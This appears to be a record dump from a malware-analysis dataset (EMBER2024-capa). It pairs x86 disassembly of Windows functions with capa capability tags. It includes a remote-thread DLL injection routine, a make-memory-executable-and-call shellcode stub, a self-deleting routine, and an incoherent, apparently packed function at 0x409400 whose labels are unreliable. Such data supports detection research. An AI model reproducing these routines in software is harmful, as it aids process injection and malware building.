joyce8/EMBER2024-capa huggingface dataset:
Function at 0x66981554
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x66981687
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x669816f5
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x669817c7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x66981810
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x66981ba0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6698603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66986034]
sub esp, 4
test ebx, ebx
je 0x66981beb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66981be4
test esi, esi
je 0x66981be4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66981bc0
mov dword [esp], 0x6698603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x66981dd0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x669841ac
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x66981e20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x66981ef8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x66981e5e
cmp eax, 4
jne 0x66981e80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x66981e6e
cmp edx, 4
je 0x66981e6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.66981dd0
Function at 0x409400
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14022
call fcn.0040b840
push ebx
mov esi, dword [edi]
adc byte [esi + 0x57], dl
xor ebx, dword [ebp - 0x39]
inc ebp
clc
add edx, esi
add byte [eax], al
test bl, 1
mov dword [ebp - 4], edi
sub ah, byte [ebx]
mov dword [ebp + 0x36], 0x780dec4f
test bl, 2
je 0x409437
xchg edi, eax
dec ebp
cld
add byte [ebx - 0x3c08c000], ah
add byte [eax], al
sub cl, byte [eax]
test ebx, 0x82a0000
je 0x409493
inc ebx
cmp bh, ah
or ah, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax + 0x4108dc]
ret 0x43f9
dec esi
xlatb
jne 0x4094a6
fistp dword [esi + 0x35]
or eax, 0x5b253700
mov esp, ebp
pop ebp
ret 0x55
test bh, 1
je 0x4094b0
mov edi, 0x4000000
test ebx, 0x200600
je 0x4094be
or edi, 0xa8f40000
div byte [esi + 0x79]
loopne 0x4094e5
test ebx, 0xcd3f0000
je 0x409498
cmp ecx, 0x1e
jl 0x4094dd
or edi, 0xe3000000
div dword [esi + 0x400000]
je 0x4094e5
pop es
or dword [ebp - 4], 0x20000
test bh, 2
je 0x4094f0
or edi, 0x40000000
cmp ecx, 0x12
jl 0x40953e
test bh, 0x97
je 0x409503
or dword [eax - 0x307efd31], eax
add al, ah
add byte [ecx], bh
or bh, 2
or edi, 0x3900e000
mov eax, dword [ebp - 0xc]
lea eax, [ecx]
fidivr dword [edi + 0x6850ffff]
add byte [eax], ah
add byte [eax], al
push ecx
call fcn.00409250
add esp, 0xc
test eax, eax
xchg ebx, eax
test dword [ecx - 0x74ffffff], edx
push ebp
clc
push eax
stc
pop ebx
push eax
mov eax, dword [ebp - 4]
push edx
lea ecx, [ecx - 0x4e004008]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov byte [ebx], bl
mov ebx, dword [ebx - 8]
rol byte [ebp - 4], 0x8b
dec ebp
or al, 0x6a
fcom qword [edi + 0x56]
push 0
jb 0x4094f9
push ecx
call dword [0x40c0d1]
and bh, 0xef
cmp eax, 0xffffffbc
mov dword [ebp + 0x10], eax
lock and byte [ebx + 0x40699835], cl
inc ebp
adc al, dh
and byte [ebx + 0x40699835], cl
add bh, bh
salc
test eax, eax
lodsd eax, dword [esi]
test byte [ecx + 1], cl
dec ebp
xor al, 0xff
salc
pop edi
inc eax
add eax, 0xafc80
mov eax, dword [0x865de58b]
adc al, 0
mov edx, dword [ebp + 0x18]
push 0x60
push edx
jo 0x40955d
mov ah, 0x90
dec dword [ebx - 0x7747f8b]
lodsb al, byte [esi]
mov byte [ebx + 0x18b9d7], cl
clc
pushal
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x18]
pop ss
dec ebp
adc byte [ecx + 0x773ab416], cl
retf
Function at 0x275a04f0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx], esi
mov dword [ebp - 4], ecx
jae 0x275a0510
pop esi
mov eax, 0xea
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
push esi
push eax
push esi
push edi
call fcn.2757e936
add esp, 0x10
push eax
call fcn.27538a90
mov ecx, dword [ebp + 0x18]
mov eax, dword [ecx]
mov edx, dword [ebx]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp + 0xc]
push ecx
push edi
push 0
push 1
push eax
mov eax, dword [edx]
push eax
mov dword [ebp + 0xc], esi
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
pop edi
jne 0x275a055c
call fcn.27539290
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp + 0xc]
pop esi
mov dword [ebx], ecx
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x403e30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x462a30
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4790c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.0043c326
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00439d77
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.00403f00
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409b60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x409b92
jl 0x409b85
test ecx, ecx
jne 0x409b92
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x409c52
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.00403dd0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x409bfe
jg 0x409bbd
test esi, esi
je 0x409bfe
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x409bd5
mov eax, dword [esp + 0x10]
jl 0x409bcf
cmp eax, esi
jae 0x409bd5
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.0043dba0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x409c1f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x409c3b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x409ba4
jl 0x409c3b
test ecx, ecx
jne 0x409ba4
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov esi, dword [ebp + 0x10]
sbb esi, edx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x409c90
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x409c90
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push dword [esp + 0x14]
call fcn.0043dba0
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [esp + 0x18], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x409cf9
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x409cb6
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x409ce4
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.00444e5c
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x409cf9
cmp edi, eax
ja 0x409cc2
test edi, edi
je 0x409cf9
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.00444e5c
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41e160
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x4790c0]
xor eax, esp
mov dword [esp + 0x100], eax
mov ecx, dword [esp + 0x10c]
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
mov esi, dword [esp + 0x124]
push edi
mov eax, dword [ebp + 0xc]
mov edi, dword [esp + 0x120]
push ecx
push eax
mov ebx, dword [eax + ecx*4 + 0x148]
push ebp
call fcn.0041e5d0
add esp, 0xc
test eax, eax
je 0x41e1b8
mov dword [esi], 0x1b
or eax, 0xffffffff
jmp 0x41e21d
push 0
push dword [esp + 0x128]
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
mov dword [esi], 0
cmp edi, 0xffffffff
jne 0x41e21b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x41e1f0
xor edi, edi
mov dword [esi], 0x51
jmp 0x41e21b
push 0x100
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.00433ea0
push eax
push str.Send_failure:__s
push ebp
call fcn.0041de10
mov dword [ebp + 0x954], ebx
add esp, 0x18
mov dword [esi], 0x37
mov eax, edi
mov ecx, dword [esp + 0x110]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043c313
add esp, 0x104
ret

Function at 0x41e5d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
lea esi, [edx + 0x17]
mov eax, dword [ecx + 0x298]
mov ebx, dword [ecx + edx*4 + 0x148]
shl esi, 4
add esi, ecx
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x44], 3
je 0x41e685
cmp dword [ecx + edx*4 + 0x160], 0x41e080
jne 0x41e685
cmp dword [esi], 0
je 0x41e616
test edi, edi
je 0x41e685
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.0042a390
add esp, 0x14
cmp eax, 0xffffffff
je 0x41e685
test al, 1
je 0x41e685
cmp dword [esi], 0
jne 0x41e66e
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x4e8]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [section..data]
add esp, 4
mov dword [esi], eax
test eax, eax
jne 0x41e65d
pop edi
pop esi
mov eax, 0x1b
pop ebx
ret
mov edi, dword [esi + 4]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x41e685
add dword [esi + 8], eax
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x41ea30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
mov eax, dword [0x4790c0]
xor eax, esp
mov dword [esp + 0x184], eax
push ebx
mov ebx, dword [esp + 0x190]
lea eax, [esp + 8]
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [esp + 0x1a4]
push 0x80
push 0
push eax
mov dword [esp + 0x18], 0x80
call fcn.0043da40
add esp, 0xc
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1a4]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x41eab7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push esi
call fcn.00433ea0
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
jmp 0x41eaf8
push edi
push esi
push dword [esp + 0x14]
lea eax, [esp + 0x1c]
push eax
call fcn.0041e690
add esp, 0x10
test al, al
jne 0x41eb01
call fcn.0044539c
mov esi, eax
call fcn.0044539c
mov edi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push dword [esi]
call fcn.00433ea0
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.0041de10
add esp, 0x1c
mov ecx, dword [esp + 0x190]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043c313
add esp, 0x188
ret

Function at 0x41f230
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
mov eax, dword [0x47a444]
mov dword [esp + 4], 0x4020
mov dword [esp], 0
mov dword [esp + 8], 4
test eax, eax
jne 0x41f281
push 3
push 2
push eax
push eax
push 6
call fcn.00434ca0
add esp, 0x14
test al, al
je 0x41f275
mov dword [0x47a444], 2
add esp, 0xc
ret
mov dword [0x47a444], 1
jmp 0x41f286
cmp eax, 2
je 0x41f2cc
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x41f2b1
mov eax, dword [esp]
cmp eax, dword [esp + 4]
jg 0x41f2cc
push 4
lea eax, [esp + 8]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 0xc
ret
Function at 0x41ff20
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
mov eax, dword [0x4790c0]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
xor eax, eax
push edi
mov edi, dword [esp + 0x28]
push 4
cmp byte [esi + 0x71b], al
setne al
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x41ff80
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d
push esi
call fcn.0041dee0
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.0043c313
add esp, 0x18
ret
push dword [esi + 0x6b8]
mov dword [esp + 0x14], 1
call fcn.004201a0
push dword [esi + 0x6bc]
imul eax, eax, 0x3e8
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], eax
call fcn.004201a0
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0xc
lea eax, [esp + 0x28]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x41fff7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d
push esi
call fcn.0041dee0
add esp, 0x10
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
xor ecx, esp
call fcn.0043c313
add esp, 0x18
ret

Function at 0x420010
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x108
mov eax, dword [0x4790c0]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
mov esi, dword [esp + 0x110]
lea eax, [esp + 4]
push 4
push eax
push 1
push 6
push dword [esp + 0x124]
mov dword [esp + 0x18], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x420075
push 0x100
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.00433ea0
push eax
push str.Could_not_set_TCP_NODELAY:__s
push esi
call fcn.0041dee0
add esp, 0x18
mov ecx, dword [esp + 0x108]
pop esi
xor ecx, esp
call fcn.0043c313
add esp, 0x108
ret
Function at 0x4201e0
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push 0x4657f0
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x4201fa
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x46580c
push esi
call fcn.00446b80
add esp, 8
test eax, eax
je 0x420242
test ebp, ebp
je 0x420233
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x420268
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x420268
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x42031f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420285
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x420315
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x420315
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4202b7
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4202d0
sub ecx, edx
add ecx, ebx
sub ecx, esi
lea ecx, [ecx]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x4202e0
test ebp, ebp
je 0x42030c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x479004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x479004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x424b60
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x424b7c
cmp dword [esi + 0x78], 0
je 0x424b7c
push 2
push 3
push esi
call fcn.00421370
add esp, 0xc
push dword [esp + 0xc]
call fcn.00424670
add esp, 4
test esi, esi
je 0x424b9d
cmp dword [esi + 0x78], 0
je 0x424b9d
push 3
push esi
call fcn.004213b0
add esp, 8
pop esi
ret